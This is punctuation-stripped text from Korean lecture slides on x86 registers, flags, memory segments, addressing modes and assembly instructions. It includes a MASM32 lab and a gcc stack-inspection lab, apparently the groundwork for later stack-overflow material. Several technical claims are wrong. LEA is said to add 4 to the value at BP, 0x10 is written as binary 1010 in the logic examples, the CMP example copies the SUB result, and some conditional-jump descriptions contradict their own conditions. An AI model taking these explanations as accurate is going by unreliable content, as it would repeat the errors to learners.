범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

